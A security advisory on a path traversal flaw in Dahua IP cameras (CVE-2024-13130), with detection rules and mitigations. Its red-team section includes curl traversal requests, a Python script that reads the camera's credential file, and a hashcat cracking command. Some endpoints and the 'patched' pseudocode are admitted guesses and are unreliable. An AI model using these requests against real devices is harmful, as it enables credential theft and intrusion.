CVE-2024-13130

Executive Summary

CVE-2024-13130 is a path traversal vulnerability affecting multiple Dahua IP camera models, including the IPC-HFW1200S, IPC-HFW2300R-Z, IPC-HFW5220E-Z, and IPC-HDW1200S. The vulnerability resides in the web interface component, specifically within the file ../mtd/Config/Sha1Account1. An attacker can exploit this by manipulating the path to traverse directories, potentially accessing sensitive configuration files or other data outside the intended directory. The attack is remotely exploitable, and a public proof-of-concept (PoC) has been released, increasing the risk of exploitation. No official patch has been released by Dahua at this time.

Note: This vulnerability is not related to any specific CMS or package ecosystem (NPM, PyPI, Go, Ruby). It is a firmware-level issue in embedded IoT devices.

CVSS Breakdown & Threat Level

While the NVD reports a CVSS score of 0.0 (likely due to incomplete analysis), the actual severity is significant. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – Sensitive configuration files (e.g., credentials, network settings) can be read.
• Integrity (I): None (N) – The vulnerability does not allow modification of data.
• Availability (A): None (N) – The vulnerability does not affect availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Estimated Base Score: 7.5 (High)

Threat Level: High. The combination of remote exploitability, no authentication requirement, and public PoC makes this a critical risk for unpatched devices.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw. The web interface of the affected Dahua cameras processes requests to the file ../mtd/Config/Sha1Account1. This file likely contains hashed account credentials or configuration data. The application fails to properly sanitize user-supplied input, allowing an attacker to inject path traversal sequences (e.g., ../) to navigate up the directory tree.

Mechanism:

1. The attacker sends a crafted HTTP request to the camera's web interface.
2. The request targets the vulnerable endpoint, which references ../mtd/Config/Sha1Account1.
3. By manipulating the path (e.g., ../../etc/passwd), the attacker can read arbitrary files on the device's filesystem.
4. The web server returns the contents of the requested file, exposing sensitive information.

Impact:

• Credential Theft: The Sha1Account1 file likely contains SHA-1 hashed passwords. While hashed, they can be cracked offline.
• Configuration Exposure: Attackers can read other configuration files (e.g., network settings, firmware version) to plan further attacks.
• Lateral Movement: Exposed credentials or network information can be used to pivot to other devices on the same network.

Vulnerable vs. Patched Code

Since no official patch is available, a direct code comparison is not possible. However, the vulnerability stems from improper input validation.

Vulnerable Code (Conceptual):

// Pseudocode for the vulnerable web handler
void handle_request(char *path) {
    char full_path[256];
    snprintf(full_path, sizeof(full_path), "/mtd/Config/%s", path);
    // No validation of path traversal sequences
    FILE *file = fopen(full_path, "r");
    if (file) {
        // Send file contents to client
    }
}

Patched Code (Conceptual):

// Pseudocode for a patched version
void handle_request(char *path) {
    // Reject any path containing ".."
    if (strstr(path, "..") != NULL) {
        return_error("Invalid path");
        return;
    }
    // Also ensure the path starts with an allowed prefix
    if (strncmp(path, "Sha1Account1", 12) != 0) {
        return_error("Forbidden");
        return;
    }
    char full_path[256];
    snprintf(full_path, sizeof(full_path), "/mtd/Config/%s", path);
    FILE *file = fopen(full_path, "r");
    if (file) {
        // Send file contents to client
    }
}

The patched version would include input validation to reject path traversal sequences and restrict access to only allowed files.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable Dahua camera (e.g., IPC-HFW1200S) on the same network.
• Network access to the camera's web interface (typically port 80 or 443).

Exploitation Steps:

1. Identify the target: Scan the network for Dahua cameras using Shodan or Nmap.

   nmap -p 80,443 --open 192.168.1.0/24
   

2. Craft the exploit request: Use curl to send a path traversal payload.

   curl -v "http://<camera-ip>/cgi-bin/Config.cgi?action=get&file=../../etc/passwd"
   

   Note: The exact endpoint may vary. The PoC likely targets the Sha1Account1 file directly.
3. Read sensitive files: Attempt to read the Sha1Account1 file.

   curl -v "http://<camera-ip>/../mtd/Config/Sha1Account1"
   

4. Extract credentials: The response will contain SHA-1 hashed passwords. Use a tool like hashcat to crack them.

   hashcat -m 100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
   

Example Exploit (Python):

import requests

target = "http://192.168.1.100"
payload = "/../mtd/Config/Sha1Account1"
url = target + payload

try:
    response = requests.get(url, timeout=10)
    if response.status_code == 200:
        print("[+] Success! File contents:")
        print(response.text)
    else:
        print(f"[-] Failed with status code: {response.status_code}")
except Exception as e:
    print(f"[-] Error: {e}")

Blue Team (Defense & Detection)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e/).
• Deploy a Web Application Firewall (WAF) with rules to block path traversal attempts.
• Use network intrusion detection systems (NIDS) like Suricata to detect exploit attempts.

Mitigation:

• Immediate: If possible, restrict network access to the camera's web interface to trusted IPs only.
• Firmware Update: Check Dahua's official website for any firmware updates. If none, consider isolating the camera on a separate VLAN.
• Disable Web Interface: If not required, disable the web interface entirely and manage the camera via other means (e.g., ONVIF).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing ../mtd/Config/Sha1Account1 or similar path traversal patterns.
• Outbound connections from the camera to unknown IPs (data exfiltration).
• Unusual spikes in HTTP 200 responses for non-standard URIs.

File System IOCs:

• Unauthorized access to /mtd/Config/Sha1Account1 or /etc/passwd on the camera.
• Modified configuration files indicating tampering.

Log IOCs:

• Web server logs showing requests with .. or %2e%2e sequences.
• Authentication logs showing failed login attempts followed by successful access (if credentials are cracked).

Detection Engineering

YARA Rule

rule CVE_2024_13130_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting Dahua cameras (CVE-2024-13130)"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-13130"
    strings:
        $traversal1 = "../mtd/Config/Sha1Account1"
        $traversal2 = "..%2fmtd%2fConfig%2fSha1Account1"
        $traversal3 = "..\\mtd\\Config\\Sha1Account1"
        $sensitive = "/etc/passwd"
    condition:
        any of ($traversal*) or ($sensitive and #traversal1 > 0)
}

Sigma Rule

title: CVE-2024-13130 Dahua Camera Path Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit path traversal in Dahua IP cameras.
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13130
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-uri-query|contains:
            - '../mtd/Config/Sha1Account1'
            - '..%2fmtd%2fConfig%2fSha1Account1'
            - '..\\mtd\\Config\\Sha1Account1'
    condition: selection
falsepositives:
    - Legitimate administrative access (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-13130 Dahua Camera Path Traversal Attempt";
    flow:to_server,established;
    content:"../mtd/Config/Sha1Account1"; http_uri; nocase;
    sid:10000001;
    rev:1;
    reference:cve,2024-13130;
    classtype:attempted-recon;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place vulnerable cameras on a separate VLAN with strict firewall rules.
2. Disable web interface: If not needed, disable the HTTP/HTTPS service on the camera.
3. Monitor logs: Actively monitor for path traversal attempts using the provided detection rules.

Long-Term Actions:

1. Firmware Update: Contact Dahua support for a patched firmware version. If unavailable, consider replacing the device.
2. Network Segmentation: Implement network segmentation to limit exposure of IoT devices.
3. WAF Deployment: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block path traversal.
4. Vulnerability Management: Regularly scan for CVEs affecting IoT devices and apply patches promptly.

Workaround:

• If patching is not possible, restrict access to the camera's web interface using IP whitelisting or a VPN.

Valters IT